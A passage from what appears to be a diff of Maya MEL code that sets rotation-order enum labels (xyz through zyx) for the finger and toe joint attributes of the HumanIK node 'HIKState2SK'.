"zxy" ); +setAttrEnumResource( "HIKState2SK", "LeftHandMiddle4ROrder", 3, "xzy" ); +setAttrEnumResource( "HIKState2SK", "LeftHandMiddle4ROrder", 4, "yxz" ); +setAttrEnumResource( "HIKState2SK", "LeftHandMiddle4ROrder", 5, "zyx" ); +setAttrEnumResource( "HIKState2SK", "LeftHandRing1ROrder", 0, "xyz" ); +setAttrEnumResource( "HIKState2SK", "LeftHandRing1ROrder", 1, "yzx" ); +setAttrEnumResource( "HIKState2SK", "LeftHandRing1ROrder", 2, "zxy" ); +setAttrEnumResource( "HIKState2SK", "LeftHandRing1ROrder", 3, "xzy" ); +setAttrEnumResource( "HIKState2SK", "LeftHandRing1ROrder", 4, "yxz" ); +setAttrEnumResource( "HIKState2SK", "LeftHandRing1ROrder", 5, "zyx" ); +setAttrEnumResource( "HIKState2SK", "LeftHandRing2ROrder", 0, "xyz" ); +setAttrEnumResource( "HIKState2SK", "LeftHandRing2ROrder", 1, "yzx" ); +setAttrEnumResource( "HIKState2SK", "LeftHandRing2ROrder", 2, "zxy" ); +setAttrEnumResource( "HIKState2SK", "LeftHandRing2ROrder", 3, "xzy" ); +setAttrEnumResource( "HIKState2SK", "LeftHandRing2ROrder", 4, "yxz" ); +setAttrEnumResource( "HIKState2SK", "LeftHandRing2ROrder", 5, "zyx" ); +setAttrEnumResource( "HIKState2SK", "LeftHandRing3ROrder", 0, "xyz" ); +setAttrEnumResource( "HIKState2SK", "LeftHandRing3ROrder", 1, "yzx" ); +setAttrEnumResource( "HIKState2SK", "LeftHandRing3ROrder", 2, "zxy" ); +setAttrEnumResource( "HIKState2SK", "LeftHandRing3ROrder", 3, "xzy" ); +setAttrEnumResource( "HIKState2SK", "LeftHandRing3ROrder", 4, "yxz" ); +setAttrEnumResource( "HIKState2SK", "LeftHandRing3ROrder", 5, "zyx" ); +setAttrEnumResource( "HIKState2SK", "LeftHandRing4ROrder", 0, "xyz" ); +setAttrEnumResource( "HIKState2SK", "LeftHandRing4ROrder", 1, "yzx" ); +setAttrEnumResource( "HIKState2SK", "LeftHandRing4ROrder", 2, "zxy" ); +setAttrEnumResource( "HIKState2SK", "LeftHandRing4ROrder", 3, "xzy" ); +setAttrEnumResource( "HIKState2SK", "LeftHandRing4ROrder", 4, "yxz" ); +setAttrEnumResource( "HIKState2SK", "LeftHandRing4ROrder", 5, "zyx" ); +setAttrEnumResource( "HIKState2SK", "LeftHandPinky1ROrder", 0, "xyz" ); +setAttrEnumResource( "HIKState2SK", "LeftHandPinky1ROrder", 1, "yzx" ); +setAttrEnumResource( "HIKState2SK", "LeftHandPinky1ROrder", 2, "zxy" ); +setAttrEnumResource( "HIKState2SK", "LeftHandPinky1ROrder", 3, "xzy" ); +setAttrEnumResource( "HIKState2SK", "LeftHandPinky1ROrder", 4, "yxz" ); +setAttrEnumResource( "HIKState2SK", "LeftHandPinky1ROrder", 5, "zyx" ); +setAttrEnumResource( "HIKState2SK", "LeftHandPinky2ROrder", 0, "xyz" ); +setAttrEnumResource( "HIKState2SK", "LeftHandPinky2ROrder", 1, "yzx" ); +setAttrEnumResource( "HIKState2SK", "LeftHandPinky2ROrder", 2, "zxy" ); +setAttrEnumResource( "HIKState2SK", "LeftHandPinky2ROrder", 3, "xzy" ); +setAttrEnumResource( "HIKState2SK", "LeftHandPinky2ROrder", 4, "yxz" ); +setAttrEnumResource( "HIKState2SK", "LeftHandPinky2ROrder", 5, "zyx" ); +setAttrEnumResource( "HIKState2SK", "LeftHandPinky3ROrder", 0, "xyz" ); +setAttrEnumResource( "HIKState2SK", "LeftHandPinky3ROrder", 1, "yzx" ); +setAttrEnumResource( "HIKState2SK", "LeftHandPinky3ROrder", 2, "zxy" ); +setAttrEnumResource( "HIKState2SK", "LeftHandPinky3ROrder", 3, "xzy" ); +setAttrEnumResource( "HIKState2SK", "LeftHandPinky3ROrder", 4, "yxz" ); +setAttrEnumResource( "HIKState2SK", "LeftHandPinky3ROrder", 5, "zyx" ); +setAttrEnumResource( "HIKState2SK", "LeftHandPinky4ROrder", 0, "xyz" ); +setAttrEnumResource( "HIKState2SK", "LeftHandPinky4ROrder", 1, "yzx" ); +setAttrEnumResource( "HIKState2SK", "LeftHandPinky4ROrder", 2, "zxy" ); +setAttrEnumResource( "HIKState2SK", "LeftHandPinky4ROrder", 3, "xzy" ); +setAttrEnumResource( "HIKState2SK", "LeftHandPinky4ROrder", 4, "yxz" ); +setAttrEnumResource( "HIKState2SK", "LeftHandPinky4ROrder", 5, "zyx" ); +setAttrEnumResource( "HIKState2SK", "LeftHandExtraFinger1ROrder", 0, "xyz" ); +setAttrEnumResource( "HIKState2SK", "LeftHandExtraFinger1ROrder", 1, "yzx" ); +setAttrEnumResource( "HIKState2SK", "LeftHandExtraFinger1ROrder", 2, "zxy" ); +setAttrEnumResource( "HIKState2SK", "LeftHandExtraFinger1ROrder", 3, "xzy" ); +setAttrEnumResource( "HIKState2SK", "LeftHandExtraFinger1ROrder", 4, "yxz" ); +setAttrEnumResource( "HIKState2SK", "LeftHandExtraFinger1ROrder", 5, "zyx" ); +setAttrEnumResource( "HIKState2SK", "LeftHandExtraFinger2ROrder", 0, "xyz" ); +setAttrEnumResource( "HIKState2SK", "LeftHandExtraFinger2ROrder", 1, "yzx" ); +setAttrEnumResource( "HIKState2SK", "LeftHandExtraFinger2ROrder", 2, "zxy" ); +setAttrEnumResource( "HIKState2SK", "LeftHandExtraFinger2ROrder", 3, "xzy" ); +setAttrEnumResource( "HIKState2SK", "LeftHandExtraFinger2ROrder", 4, "yxz" ); +setAttrEnumResource( "HIKState2SK", "LeftHandExtraFinger2ROrder", 5, "zyx" ); +setAttrEnumResource( "HIKState2SK", "LeftHandExtraFinger3ROrder", 0, "xyz" ); +setAttrEnumResource( "HIKState2SK", "LeftHandExtraFinger3ROrder", 1, "yzx" ); +setAttrEnumResource( "HIKState2SK", "LeftHandExtraFinger3ROrder", 2, "zxy" ); +setAttrEnumResource( "HIKState2SK", "LeftHandExtraFinger3ROrder", 3, "xzy" ); +setAttrEnumResource( "HIKState2SK", "LeftHandExtraFinger3ROrder", 4, "yxz" ); +setAttrEnumResource( "HIKState2SK", "LeftHandExtraFinger3ROrder", 5, "zyx" ); +setAttrEnumResource( "HIKState2SK", "LeftHandExtraFinger4ROrder", 0, "xyz" ); +setAttrEnumResource( "HIKState2SK", "LeftHandExtraFinger4ROrder", 1, "yzx" ); +setAttrEnumResource( "HIKState2SK", "LeftHandExtraFinger4ROrder", 2, "zxy" ); +setAttrEnumResource( "HIKState2SK", "LeftHandExtraFinger4ROrder", 3, "xzy" ); +setAttrEnumResource( "HIKState2SK", "LeftHandExtraFinger4ROrder", 4, "yxz" ); +setAttrEnumResource( "HIKState2SK", "LeftHandExtraFinger4ROrder", 5, "zyx" ); +setAttrEnumResource( "HIKState2SK", "RightHandThumb1ROrder", 0, "xyz" ); +setAttrEnumResource( "HIKState2SK", "RightHandThumb1ROrder", 1, "yzx" ); +setAttrEnumResource( "HIKState2SK", "RightHandThumb1ROrder", 2, "zxy" ); +setAttrEnumResource( "HIKState2SK", "RightHandThumb1ROrder", 3, "xzy" ); +setAttrEnumResource( "HIKState2SK", "RightHandThumb1ROrder", 4, "yxz" ); +setAttrEnumResource( "HIKState2SK", "RightHandThumb1ROrder", 5, "zyx" ); +setAttrEnumResource( "HIKState2SK", "RightHandThumb2ROrder", 0, "xyz" ); +setAttrEnumResource( "HIKState2SK", "RightHandThumb2ROrder", 1, "yzx" ); +setAttrEnumResource( "HIKState2SK", "RightHandThumb2ROrder", 2, "zxy" ); +setAttrEnumResource( "HIKState2SK", "RightHandThumb2ROrder", 3, "xzy" ); +setAttrEnumResource( "HIKState2SK", "RightHandThumb2ROrder", 4, "yxz" ); +setAttrEnumResource( "HIKState2SK", "RightHandThumb2ROrder", 5, "zyx" ); +setAttrEnumResource( "HIKState2SK", "RightHandThumb3ROrder", 0, "xyz" ); +setAttrEnumResource( "HIKState2SK", "RightHandThumb3ROrder", 1, "yzx" ); +setAttrEnumResource( "HIKState2SK", "RightHandThumb3ROrder", 2, "zxy" ); +setAttrEnumResource( "HIKState2SK", "RightHandThumb3ROrder", 3, "xzy" ); +setAttrEnumResource( "HIKState2SK", "RightHandThumb3ROrder", 4, "yxz" ); +setAttrEnumResource( "HIKState2SK", "RightHandThumb3ROrder", 5, "zyx" ); +setAttrEnumResource( "HIKState2SK", "RightHandThumb4ROrder", 0, "xyz" ); +setAttrEnumResource( "HIKState2SK", "RightHandThumb4ROrder", 1, "yzx" ); +setAttrEnumResource( "HIKState2SK", "RightHandThumb4ROrder", 2, "zxy" ); +setAttrEnumResource( "HIKState2SK", "RightHandThumb4ROrder", 3, "xzy" ); +setAttrEnumResource( "HIKState2SK", "RightHandThumb4ROrder", 4, "yxz" ); +setAttrEnumResource( "HIKState2SK", "RightHandThumb4ROrder", 5, "zyx" ); +setAttrEnumResource( "HIKState2SK", "RightHandIndex1ROrder", 0, "xyz" ); +setAttrEnumResource( "HIKState2SK", "RightHandIndex1ROrder", 1, "yzx" ); +setAttrEnumResource( "HIKState2SK", "RightHandIndex1ROrder", 2, "zxy" ); +setAttrEnumResource( "HIKState2SK", "RightHandIndex1ROrder", 3, "xzy" ); +setAttrEnumResource( "HIKState2SK", "RightHandIndex1ROrder", 4, "yxz" ); +setAttrEnumResource( "HIKState2SK", "RightHandIndex1ROrder", 5, "zyx" ); +setAttrEnumResource( "HIKState2SK", "RightHandIndex2ROrder", 0, "xyz" ); +setAttrEnumResource( "HIKState2SK", "RightHandIndex2ROrder", 1, "yzx" ); +setAttrEnumResource( "HIKState2SK", "RightHandIndex2ROrder", 2, "zxy" ); +setAttrEnumResource( "HIKState2SK", "RightHandIndex2ROrder", 3, "xzy" ); +setAttrEnumResource( "HIKState2SK", "RightHandIndex2ROrder", 4, "yxz" ); +setAttrEnumResource( "HIKState2SK", "RightHandIndex2ROrder", 5, "zyx" ); +setAttrEnumResource( "HIKState2SK", "RightHandIndex3ROrder", 0, "xyz" ); +setAttrEnumResource( "HIKState2SK", "RightHandIndex3ROrder", 1, "yzx" ); +setAttrEnumResource( "HIKState2SK", "RightHandIndex3ROrder", 2, "zxy" ); +setAttrEnumResource( "HIKState2SK", "RightHandIndex3ROrder", 3, "xzy" ); +setAttrEnumResource( "HIKState2SK", "RightHandIndex3ROrder", 4, "yxz" ); +setAttrEnumResource( "HIKState2SK", "RightHandIndex3ROrder", 5, "zyx" ); +setAttrEnumResource( "HIKState2SK", "RightHandIndex4ROrder", 0, "xyz" ); +setAttrEnumResource( "HIKState2SK", "RightHandIndex4ROrder", 1, "yzx" ); +setAttrEnumResource( "HIKState2SK", "RightHandIndex4ROrder", 2, "zxy" ); +setAttrEnumResource( "HIKState2SK", "RightHandIndex4ROrder", 3, "xzy" ); +setAttrEnumResource( "HIKState2SK", "RightHandIndex4ROrder", 4, "yxz" ); +setAttrEnumResource( "HIKState2SK", "RightHandIndex4ROrder", 5, "zyx" ); +setAttrEnumResource( "HIKState2SK", "RightHandMiddle1ROrder", 0, "xyz" ); +setAttrEnumResource( "HIKState2SK", "RightHandMiddle1ROrder", 1, "yzx" ); +setAttrEnumResource( "HIKState2SK", "RightHandMiddle1ROrder", 2, "zxy" ); +setAttrEnumResource( "HIKState2SK", "RightHandMiddle1ROrder", 3, "xzy" ); +setAttrEnumResource( "HIKState2SK", "RightHandMiddle1ROrder", 4, "yxz" ); +setAttrEnumResource( "HIKState2SK", "RightHandMiddle1ROrder", 5, "zyx" ); +setAttrEnumResource( "HIKState2SK", "RightHandMiddle2ROrder", 0, "xyz" ); +setAttrEnumResource( "HIKState2SK", "RightHandMiddle2ROrder", 1, "yzx" ); +setAttrEnumResource( "HIKState2SK", "RightHandMiddle2ROrder", 2, "zxy" ); +setAttrEnumResource( "HIKState2SK", "RightHandMiddle2ROrder", 3, "xzy" ); +setAttrEnumResource( "HIKState2SK", "RightHandMiddle2ROrder", 4, "yxz" ); +setAttrEnumResource( "HIKState2SK", "RightHandMiddle2ROrder", 5, "zyx" ); +setAttrEnumResource( "HIKState2SK", "RightHandMiddle3ROrder", 0, "xyz" ); +setAttrEnumResource( "HIKState2SK", "RightHandMiddle3ROrder", 1, "yzx" ); +setAttrEnumResource( "HIKState2SK", "RightHandMiddle3ROrder", 2, "zxy" ); +setAttrEnumResource( "HIKState2SK", "RightHandMiddle3ROrder", 3, "xzy" ); +setAttrEnumResource( "HIKState2SK", "RightHandMiddle3ROrder", 4, "yxz" ); +setAttrEnumResource( "HIKState2SK", "RightHandMiddle3ROrder", 5, "zyx" ); +setAttrEnumResource( "HIKState2SK", "RightHandMiddle4ROrder", 0, "xyz" ); +setAttrEnumResource( "HIKState2SK", "RightHandMiddle4ROrder", 1, "yzx" ); +setAttrEnumResource( "HIKState2SK", "RightHandMiddle4ROrder", 2, "zxy" ); +setAttrEnumResource( "HIKState2SK", "RightHandMiddle4ROrder", 3, "xzy" ); +setAttrEnumResource( "HIKState2SK", "RightHandMiddle4ROrder", 4, "yxz" ); +setAttrEnumResource( "HIKState2SK", "RightHandMiddle4ROrder", 5, "zyx" ); +setAttrEnumResource( "HIKState2SK", "RightHandRing1ROrder", 0, "xyz" ); +setAttrEnumResource( "HIKState2SK", "RightHandRing1ROrder", 1, "yzx" ); +setAttrEnumResource( "HIKState2SK", "RightHandRing1ROrder", 2, "zxy" ); +setAttrEnumResource( "HIKState2SK", "RightHandRing1ROrder", 3, "xzy" ); +setAttrEnumResource( "HIKState2SK", "RightHandRing1ROrder", 4, "yxz" ); +setAttrEnumResource( "HIKState2SK", "RightHandRing1ROrder", 5, "zyx" ); +setAttrEnumResource( "HIKState2SK", "RightHandRing2ROrder", 0, "xyz" ); +setAttrEnumResource( "HIKState2SK", "RightHandRing2ROrder", 1, "yzx" ); +setAttrEnumResource( "HIKState2SK", "RightHandRing2ROrder", 2, "zxy" ); +setAttrEnumResource( "HIKState2SK", "RightHandRing2ROrder", 3, "xzy" ); +setAttrEnumResource( "HIKState2SK", "RightHandRing2ROrder", 4, "yxz" ); +setAttrEnumResource( "HIKState2SK", "RightHandRing2ROrder", 5, "zyx" ); +setAttrEnumResource( "HIKState2SK", "RightHandRing3ROrder", 0, "xyz" ); +setAttrEnumResource( "HIKState2SK", "RightHandRing3ROrder", 1, "yzx" ); +setAttrEnumResource( "HIKState2SK", "RightHandRing3ROrder", 2, "zxy" ); +setAttrEnumResource( "HIKState2SK", "RightHandRing3ROrder", 3, "xzy" ); +setAttrEnumResource( "HIKState2SK", "RightHandRing3ROrder", 4, "yxz" ); +setAttrEnumResource( "HIKState2SK", "RightHandRing3ROrder", 5, "zyx" ); +setAttrEnumResource( "HIKState2SK", "RightHandRing4ROrder", 0, "xyz" ); +setAttrEnumResource( "HIKState2SK", "RightHandRing4ROrder", 1, "yzx" ); +setAttrEnumResource( "HIKState2SK", "RightHandRing4ROrder", 2, "zxy" ); +setAttrEnumResource( "HIKState2SK", "RightHandRing4ROrder", 3, "xzy" ); +setAttrEnumResource( "HIKState2SK", "RightHandRing4ROrder", 4, "yxz" ); +setAttrEnumResource( "HIKState2SK", "RightHandRing4ROrder", 5, "zyx" ); +setAttrEnumResource( "HIKState2SK", "RightHandPinky1ROrder", 0, "xyz" ); +setAttrEnumResource( "HIKState2SK", "RightHandPinky1ROrder", 1, "yzx" ); +setAttrEnumResource( "HIKState2SK", "RightHandPinky1ROrder", 2, "zxy" ); +setAttrEnumResource( "HIKState2SK", "RightHandPinky1ROrder", 3, "xzy" ); +setAttrEnumResource( "HIKState2SK", "RightHandPinky1ROrder", 4, "yxz" ); +setAttrEnumResource( "HIKState2SK", "RightHandPinky1ROrder", 5, "zyx" ); +setAttrEnumResource( "HIKState2SK", "RightHandPinky2ROrder", 0, "xyz" ); +setAttrEnumResource( "HIKState2SK", "RightHandPinky2ROrder", 1, "yzx" ); +setAttrEnumResource( "HIKState2SK", "RightHandPinky2ROrder", 2, "zxy" ); +setAttrEnumResource( "HIKState2SK", "RightHandPinky2ROrder", 3, "xzy" ); +setAttrEnumResource( "HIKState2SK", "RightHandPinky2ROrder", 4, "yxz" ); +setAttrEnumResource( "HIKState2SK", "RightHandPinky2ROrder", 5, "zyx" ); +setAttrEnumResource( "HIKState2SK", "RightHandPinky3ROrder", 0, "xyz" ); +setAttrEnumResource( "HIKState2SK", "RightHandPinky3ROrder", 1, "yzx" ); +setAttrEnumResource( "HIKState2SK", "RightHandPinky3ROrder", 2, "zxy" ); +setAttrEnumResource( "HIKState2SK", "RightHandPinky3ROrder", 3, "xzy" ); +setAttrEnumResource( "HIKState2SK", "RightHandPinky3ROrder", 4, "yxz" ); +setAttrEnumResource( "HIKState2SK", "RightHandPinky3ROrder", 5, "zyx" ); +setAttrEnumResource( "HIKState2SK", "RightHandPinky4ROrder", 0, "xyz" ); +setAttrEnumResource( "HIKState2SK", "RightHandPinky4ROrder", 1, "yzx" ); +setAttrEnumResource( "HIKState2SK", "RightHandPinky4ROrder", 2, "zxy" ); +setAttrEnumResource( "HIKState2SK", "RightHandPinky4ROrder", 3, "xzy" ); +setAttrEnumResource( "HIKState2SK", "RightHandPinky4ROrder", 4, "yxz" ); +setAttrEnumResource( "HIKState2SK", "RightHandPinky4ROrder", 5, "zyx" ); +setAttrEnumResource( "HIKState2SK", "RightHandExtraFinger1ROrder", 0, "xyz" ); +setAttrEnumResource( "HIKState2SK", "RightHandExtraFinger1ROrder", 1, "yzx" ); +setAttrEnumResource( "HIKState2SK", "RightHandExtraFinger1ROrder", 2, "zxy" ); +setAttrEnumResource( "HIKState2SK", "RightHandExtraFinger1ROrder", 3, "xzy" ); +setAttrEnumResource( "HIKState2SK", "RightHandExtraFinger1ROrder", 4, "yxz" ); +setAttrEnumResource( "HIKState2SK", "RightHandExtraFinger1ROrder", 5, "zyx" ); +setAttrEnumResource( "HIKState2SK", "RightHandExtraFinger2ROrder", 0, "xyz" ); +setAttrEnumResource( "HIKState2SK", "RightHandExtraFinger2ROrder", 1, "yzx" ); +setAttrEnumResource( "HIKState2SK", "RightHandExtraFinger2ROrder", 2, "zxy" ); +setAttrEnumResource( "HIKState2SK", "RightHandExtraFinger2ROrder", 3, "xzy" ); +setAttrEnumResource( "HIKState2SK", "RightHandExtraFinger2ROrder", 4, "yxz" ); +setAttrEnumResource( "HIKState2SK", "RightHandExtraFinger2ROrder", 5, "zyx" ); +setAttrEnumResource( "HIKState2SK", "RightHandExtraFinger3ROrder", 0, "xyz" ); +setAttrEnumResource( "HIKState2SK", "RightHandExtraFinger3ROrder", 1, "yzx" ); +setAttrEnumResource( "HIKState2SK", "RightHandExtraFinger3ROrder", 2, "zxy" ); +setAttrEnumResource( "HIKState2SK", "RightHandExtraFinger3ROrder", 3, "xzy" ); +setAttrEnumResource( "HIKState2SK", "RightHandExtraFinger3ROrder", 4, "yxz" ); +setAttrEnumResource( "HIKState2SK", "RightHandExtraFinger3ROrder", 5, "zyx" ); +setAttrEnumResource( "HIKState2SK", "RightHandExtraFinger4ROrder", 0, "xyz" ); +setAttrEnumResource( "HIKState2SK", "RightHandExtraFinger4ROrder", 1, "yzx" ); +setAttrEnumResource( "HIKState2SK", "RightHandExtraFinger4ROrder", 2, "zxy" ); +setAttrEnumResource( "HIKState2SK", "RightHandExtraFinger4ROrder", 3, "xzy" ); +setAttrEnumResource( "HIKState2SK", "RightHandExtraFinger4ROrder", 4, "yxz" ); +setAttrEnumResource( "HIKState2SK", "RightHandExtraFinger4ROrder", 5, "zyx" ); +setAttrEnumResource( "HIKState2SK", "LeftFootThumb1ROrder", 0, "xyz" ); +setAttrEnumResource( "HIKState2SK", "LeftFootThumb1ROrder", 1, "yzx" ); +setAttrEnumResource( "HIKState2SK", "LeftFootThumb1ROrder", 2, "zxy" ); +setAttrEnumResource( "HIKState2SK", "LeftFootThumb1ROrder", 3, "xzy" ); +setAttrEnumResource( "HIKState2SK", "LeftFootThumb1ROrder", 4, "yxz" ); +setAttrEnumResource( "HIKState2SK", "LeftFootThumb1ROrder", 5, "zyx" ); +setAttrEnumResource( "HIKState2SK", "LeftFootThumb2ROrder", 0, "xyz" ); +setAttrEnumResource( "HIKState2SK", "LeftFootThumb2ROrder", 1, "yzx" ); +setAttrEnumResource( "HIKState2SK", "LeftFootThumb2ROrder", 2, "zxy" ); +setAttrEnumResource( "HIKState2SK", "LeftFootThumb2ROrder", 3, "xzy" ); +setAttrEnumResource( "HIKState2SK", "LeftFootThumb2ROrder", 4, "yxz" ); +setAttrEnumResource( "HIKState2SK", "LeftFootThumb2ROrder", 5, "zyx" ); +setAttrEnumResource( "HIKState2SK", "LeftFootThumb3ROrder", 0, "xyz" ); +setAttrEnumResource( "HIKState2SK", "LeftFootThumb3ROrder", 1, "yzx" ); +setAttrEnumResource( "HIKState2SK", "LeftFootThumb3ROrder", 2, "zxy" ); +setAttrEnumResource( "HIKState2SK", "LeftFootThumb3ROrder", 3, "xzy" ); +setAttrEnumResource( "HIKState2SK", "LeftFootThumb3ROrder", 4, "yxz" ); +setAttrEnumResource( "HIKState2SK", "LeftFootThumb3ROrder", 5, "zyx" ); +setAttrEnumResource( "HIKState2SK", "LeftFootThumb4ROrder", 0, "xyz" ); +setAttrEnumResource( "HIKState2SK", "LeftFootThumb4ROrder", 1, "yzx" ); +setAttrEnumResource( "HIKState2SK", "LeftFootThumb4ROrder", 2, "zxy" ); +setAttrEnumResource( "HIKState2SK", "LeftFootThumb4ROrder", 3, "xzy" ); +setAttrEnumResource( "HIKState2SK", "LeftFootThumb4ROrder", 4, "yxz" ); +setAttrEnumResource( "HIKState2SK", "LeftFootThumb4ROrder", 5, "zyx" ); +setAttrEnumResource( "HIKState2SK", "LeftFootIndex1ROrder", 0, "xyz" ); +setAttrEnumResource( "HIKState2SK", "LeftFootIndex1ROrder", 1, "yzx" ); +setAttrEnumResource( "HIKState2SK", "LeftFootIndex1ROrder", 2, "zxy" ); +setAttrEnumResource( "HIKState2SK", "LeftFootIndex1ROrder", 3, "xzy" ); +setAttrEnumResource( "HIKState2SK", "LeftFootIndex1ROrder", 4, "yxz" ); +setAttrEnumResource( "HIKState2SK", "LeftFootIndex1ROrder", 5, "zyx" ); +setAttrEnumResource( "HIKState2SK", "LeftFootIndex2ROrder", 0, "xyz" ); +setAttrEnumResource( "HIKState2SK", "LeftFootIndex2ROrder", 1, "yzx" ); +setAttrEnumResource( "HIKState2SK", "LeftFootIndex2ROrder", 2, "zxy" ); +setAttrEnumResource( "HIKState2SK", "LeftFootIndex2ROrder", 3, "xzy" ); +setAttrEnumResource( "HIKState2SK", "LeftFootIndex2ROrder", 4, "yxz" ); +setAttrEnumResource( "HIKState2SK", "LeftFootIndex2ROrder", 5, "zyx" ); +setAttrEnumResource( "HIKState2SK", "LeftFootIndex3ROrder", 0, "xyz" ); +setAttrEnumResource( "HIKState2SK", "LeftFootIndex3ROrder", 1, "yzx" ); +setAttrEnumResource( "HIKState2SK", "LeftFootIndex3ROrder", 2, "zxy" ); +setAttrEnumResource( "HIKState2SK", "LeftFootIndex3ROrder", 3, "xzy" ); +setAttrEnumResource( "HIKState2SK", "LeftFootIndex3ROrder", 4, "yxz" ); +setAttrEnumResource( "HIKState2SK", "LeftFootIndex3ROrder", 5, "zyx" ); +setAttrEnumResource( "HIKState2SK", "LeftFootIndex4ROrder", 0, "xyz" ); +setAttrEnumResource( "HIKState2SK", "LeftFootIndex4ROrder", 1, "yzx" ); +setAttrEnumResource( "HIKState2SK", "LeftFootIndex4ROrder", 2, "zxy" ); +setAttrEnumResource( "HIKState2SK", "LeftFootIndex4ROrder", 3, "xzy" ); +setAttrEnumResource( "HIKState2SK", "LeftFootIndex4ROrder", 4, "yxz" ); +setAttrEnumResource( "HIKState2SK", "LeftFootIndex4ROrder", 5, "zyx" ); +setAttrEnumResource( "HIKState2SK", "LeftFootMiddle1ROrder", 0, "xyz" ); +setAttrEnumResource( "HIKState2SK", "LeftFootMiddle1ROrder", 1, "yzx" ); +setAttrEnumResource( "HIKState2SK", "LeftFootMiddle1ROrder", 2, "zxy" ); +setAttrEnumResource( "HIKState2SK", "LeftFootMiddle1ROrder", 3, "xzy" ); +setAttrEnumResource( "HIKState2SK", "LeftFootMiddle1ROrder", 4, "yxz" ); +setAttrEnumResource( "HIKState2SK", "LeftFootMiddle1ROrder", 5, "zyx" ); +setAttrEnumResource( "HIKState2SK", "LeftFootMiddle2ROrder", 0, "xyz" ); +setAttrEnumResource( "HIKState2SK", "LeftFootMiddle2ROrder", 1, "yzx" ); +setAttrEnumResource( "HIKState2SK", "LeftFootMiddle2ROrder", 2, "zxy" ); +setAttrEnumResource( "HIKState2SK", "LeftFootMiddle2ROrder", 3, "xzy" ); +setAttrEnumResource( "HIKState2SK", "LeftFootMiddle2ROrder", 4, "yxz" ); +setAttrEnumResource( "HIKState2SK", "LeftFootMiddle2ROrder", 5, "zyx" ); +setAttrEnumResource( "HIKState2SK", "LeftFootMiddle3ROrder", 0, "xyz" ); +setAttrEnumResource( "HIKState2SK", "LeftFootMiddle3ROrder", 1, "yzx" ); +setAttrEnumResource( "HIKState2SK", "LeftFootMiddle3ROrder", 2, "zxy" ); +setAttrEnumResource( "HIKState2SK", "LeftFootMiddle3ROrder", 3, "xzy" ); +setAttrEnumResource( "HIKState2SK", "LeftFootMiddle3ROrder", 4, "yxz" ); +setAttrEnumResource( "HIKState2SK", "LeftFootMiddle3ROrder", 5, "zyx" ); +setAttrEnumResource( "HIKState2SK", "LeftFootMiddle4ROrder", 0, "xyz" ); +setAttrEnumResource( "HIKState2SK", "LeftFootMiddle4ROrder", 1, "yzx" ); +setAttrEnumResource( "HIKState2SK", "LeftFootMiddle4ROrder", 2, "zxy" ); +setAttrEnumResource( "HIKState2SK", "LeftFootMiddle4ROrder", 3, "xzy" ); +setAttrEnumResource( "HIKState2SK", "LeftFootMiddle4ROrder", 4, "yxz" ); +setAttrEnumResource( "HIKState2SK", "LeftFootMiddle4ROrder", 5, "zyx" ); +setAttrEnumResource( "HIKState2SK", "LeftFootRing1ROrder", 0, "xyz" ); +setAttrEnumResource( "HIKState2SK", "LeftFootRing1ROrder", 1, "yzx" ); +setAttrEnumResource( "HIKState2SK", "LeftFootRing1ROrder", 2, "zxy" ); +setAttrEnumResource( "HIKState2SK", "LeftFootRing1ROrder", 3, "xzy" ); +setAttrEnumResource( "HIKState2SK", "LeftFootRing1ROrder", 4, "yxz" ); +setAttrEnumResource( "HIKState2SK", "LeftFootRing1ROrder", 5, "zyx" ); +setAttrEnumResource( "HIKState2SK", "LeftFootRing2ROrder", 0, "xyz" ); +setAttrEnumResource( "HIKState2SK", "LeftFootRing2ROrder", 1, "yzx" ); +setAttrEnumResource( "HIKState2SK", "LeftFootRing2ROrder", 2, "zxy" ); +setAttrEnumResource( "HIKState2SK", "LeftFootRing2ROrder", 3, "xzy" ); +setAttrEnumResource( "HIKState2SK", "LeftFootRing2ROrder", 4, "yxz" ); +setAttrEnumResource( "HIKState2SK", "LeftFootRing2ROrder", 5, "zyx" ); +setAttrEnumResource( "HIKState2SK", "LeftFootRing3ROrder", 0, "xyz" ); +setAttrEnumResource( "HIKState2SK", "LeftFootRing3ROrder", 1, "yzx" ); +setAttrEnumResource( "HIKState2SK", "LeftFootRing3ROrder", 2, "zxy" ); +setAttrEnumResource( "HIKState2SK", "LeftFootRing3ROrder", 3, "xzy" ); +setAttrEnumResource( "HIKState2SK", "LeftFootRing3ROrder", 4, "yxz" ); +setAttrEnumResource( "HIKState2SK", "LeftFootRing3ROrder", 5, "zyx" ); +setAttrEnumResource( "HIKState2SK", "LeftFootRing4ROrder", 0, "xyz" ); +setAttrEnumResource( "HIKState2SK", "LeftFootRing4ROrder", 1, "yzx" ); +setAttrEnumResource( "HIKState2SK", "LeftFootRing4ROrder", 2, "zxy" ); +setAttrEnumResource( "HIKState2SK", "LeftFootRing4ROrder", 3, "xzy" ); +setAttrEnumResource( "HIKState2SK", "LeftFootRing4ROrder", 4, "yxz" ); +setAttrEnumResource( "HIKState2SK", "LeftFootRing4ROrder", 5, "zyx" ); +setAttrEnumResource( "HIKState2SK", "LeftFootPinky1ROrder", 0, "xyz" ); +setAttrEnumResource( "HIKState2SK", "LeftFootPinky1ROrder", 1, "yzx" ); +setAttrEnumResource( "HIKState2SK", "LeftFootPinky1ROrder", 2, "zxy" ); +setAttrEnumResource( "HIKState2SK", "LeftFootPinky1ROrder", 3, "xzy" ); +setAttrEnumResource( "HIKState2SK", "LeftFootPinky1ROrder", 4, "yxz" ); +setAttrEnumResource( "HIKState2SK", "LeftFootPinky1ROrder", 5, "zyx" ); +setAttrEnumResource( "HIKState2SK", "LeftFootPinky2ROrder", 0, "xyz" ); +setAttrEnumResource( "HIKState2SK", "LeftFootPinky2ROrder", 1, "yzx" ); +setAttrEnumResource( "HIKState2SK", "LeftFootPinky2ROrder", 2, "zxy" ); +setAttrEnumResource( "HIKState2SK", "LeftFootPinky2ROrder", 3, "xzy" ); +setAttrEnumResource( "HIKState2SK", "LeftFootPinky2ROrder", 4, "yxz" ); +setAttrEnumResource( "HIKState2SK", "LeftFootPinky2ROrder", 5, "zyx" ); +setAttrEnumResource( "HIKState2SK", "LeftFootPinky3ROrder", 0, "xyz" ); +setAttrEnumResource( "HIKState2SK", "LeftFootPinky3ROrder", 1, "yzx" ); +setAttrEnumResource( "HIKState2SK", "LeftFootPinky3ROrder", 2, "zxy" ); +setAttrEnumResource( "HIKState2SK", "LeftFootPinky3ROrder", 3, "xzy" ); +setAttrEnumResource( "HIKState2SK", "LeftFootPinky3ROrder", 4, "yxz" ); +setAttrEnumResource( "HIKState2SK", "LeftFootPinky3ROrder", 5, "zyx" ); +setAttrEnumResource( "HIKState2SK", 